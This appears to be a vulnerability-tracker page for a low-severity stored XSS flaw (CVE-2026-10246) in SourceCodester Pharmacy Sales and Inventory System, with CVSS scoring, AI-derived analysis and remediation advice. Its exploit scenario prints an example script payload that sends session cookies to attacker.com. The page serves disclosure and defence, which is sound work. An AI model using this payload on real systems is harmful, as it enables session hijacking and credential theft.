Skip to main content

Pharmacy Sales and Inventory System EUVDEUVD-2026-33620

| CVE-2026-10246 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-01 VulDB GHSA-cvf2-cgfw-jqr4
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privileged account
  2. Delivery
    Submit XSS payload via medicine_presentation field
  3. Exploit
    Payload rendered in application page
  4. Execution
    Victim user loads affected record
  5. Persist
    Malicious script executes in victim browser
  6. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold at least a low-privileged authenticated account on the Pharmacy Sales and Inventory System (PR:L per CVSS vector) - unauthenticated access to the vulnerable form is not sufficient. Additionally, a separate victim user must load or interact with the page containing the injected payload (UI:R), meaning the attacker cannot directly trigger execution against a target without a social engineering or persistent injection component. The vulnerability is specific to the create_medicine_presentation function and the medicine_presentation argument at /ShowForm/create_medicine_presentation/main - deployments that do not expose this endpoint or that restrict write access to this form are not exploitable. Exploitation is limited to integrity impact only (C:N, A:N), with no direct path to data exfiltration or service disruption beyond what injected script can achieve within the victim's authenticated session.

Impact

The CVSS base score of 3.5 (Low) accurately reflects constrained real-world impact: the attack vector is network-accessible (AV:N) with low complexity (AC:L), but requires low-level authentication (PR:L) and victim user interaction (UI:R), substantially reducing opportunistic exploitation potential. Scope is unchanged (S:U), confidentiality impact is none (C:N), and integrity impact is low (I:L) - consistent with a non-persistent or limited-reach XSS. The temporal modifier E:P confirms publicly available proof-of-concept code, elevating urgency slightly above a purely theoretical finding. No EPSS score was provided in the input data, so exploitation probability cannot be quantified from that signal. KEV status is absent, meaning CISA has not confirmed active exploitation campaigns. The combination of a low CVSS, no KEV, and SourceCodester's profile as a demo/educational codebase strongly suggests this is a low-priority finding in enterprise contexts but a meaningful risk for any production deployment of this specific application. RC:R (Reasonable confidence) in the CVSS temporal vector indicates the vulnerability details are not yet fully corroborated by the vendor.

Exploit ScenarioDerived

An authenticated low-privileged user - such as a pharmacy clerk with a standard account - submits a crafted medicine presentation entry containing an injected JavaScript payload (e.g., <script>document.location='http://attacker.com/?c='+document.cookie</script>) via the medicine_presentation form field. When a higher-privileged user such as an administrator subsequently views the affected record, the malicious script executes in their browser, exfiltrating session cookies to an attacker-controlled server. A public proof-of-concept demonstrating this technique is available at https://github.com/timeflies123/cve/issues/4.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 01, 2026

Stored or reflected cross-site scripting in SourceCodester Pharmacy Sales and Inventory System 1.0 allows a low-privileged authenticated remote attacker to inject malicious JavaScript via the medicine_presentation argument in the create_medicine_presentation function at /ShowForm/create_medicine_presentation/main. Exploitation requires a victim user to interact with the affected page, limiting blast radius but still enabling session hijacking, credential theft, or UI redirection against authenticated users. Publicly available exploit code exists per a GitHub issue disclosure; no CISA KEV listing is present.

RemediationAI

No vendor-released patch has been identified at the time of analysis - the SourceCodester project page (https://www.sourcecodester.com/) does not publish a security advisory or patched release. The upstream fix, if any, is not independently confirmed from the available references. As a primary compensating control, operators should implement strict server-side input validation and context-aware output encoding (HTML entity encoding) on all user-supplied values processed by the create_medicine_presentation function, particularly the medicine_presentation parameter. Deploying a Web Application Firewall (WAF) with XSS filtering rules can reduce exploitation likelihood but introduces a risk of bypass and should not be treated as a complete fix. Restricting access to the /ShowForm/create_medicine_presentation/main endpoint to trusted internal networks or specific authenticated roles limits attack surface, with the trade-off of reduced functionality for legitimate remote users. Organizations running this application in production should evaluate whether the codebase meets their security baseline given its origins as a demo project.

Affected VersionsENISA

Pharmacy Sales and Inventory System 1.0

Affected Packages

euvd pharmacy_sales_and_inventory_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating that user-supplied input in the medicine_presentation parameter is not adequately sanitized or encoded before being rendered in the HTML response. The affected product, identified via CPE cpe:2.3:a:sourcecodester:pharmacy_sales_and_inventory_system:*:*:*:*:*:*:*:*, is a PHP-based web application distributed by SourceCodester - a platform known for publishing open-source academic/demo projects frequently targeted due to minimal security hardening. The vulnerable endpoint /ShowForm/create_medicine_presentation/main processes medicine presentation form submissions, and the lack of output encoding allows injected script tags or event handlers to execute in a victim's browser context.

Know when Pharmacy Sales And Inventory System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 01, 2026 - 11:22 NVD
3.5 (LOW) 2.0 (LOW)

DescriptionCVE.org

A vulnerability has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. This affects the function create_medicine_presentation of the file /ShowForm/create_medicine_presentation/main. The manipulation of the argument medicine_presentation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2022-30407 CRITICAL POC
9.8 May 13

Pharmacy Sales And Inventory System v1.0 is vulnerable to SQL Injection via /pharmacy-sales-and-inventory-system/manage_

CVE-2026-10255 MEDIUM POC
5.5 Jun 01

Unauthenticated remote information disclosure in SourceCodester Pharmacy Sales and Inventory System 1.0 allows network-b

CVE-2026-8083 MEDIUM POC
5.5 May 07

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7550 MEDIUM POC
5.5 May 01

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,

CVE-2026-7549 MEDIUM POC
5.5 May 01

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra

CVE-2026-7199 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7194 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 exposes the `/ajax.php?action=save_product` endp

CVE-2026-7127 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,

CVE-2026-7126 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7088 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7087 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra

CVE-2026-6189 MEDIUM POC
5.5 Apr 13

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows unauthenticated remote attackers to extra

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy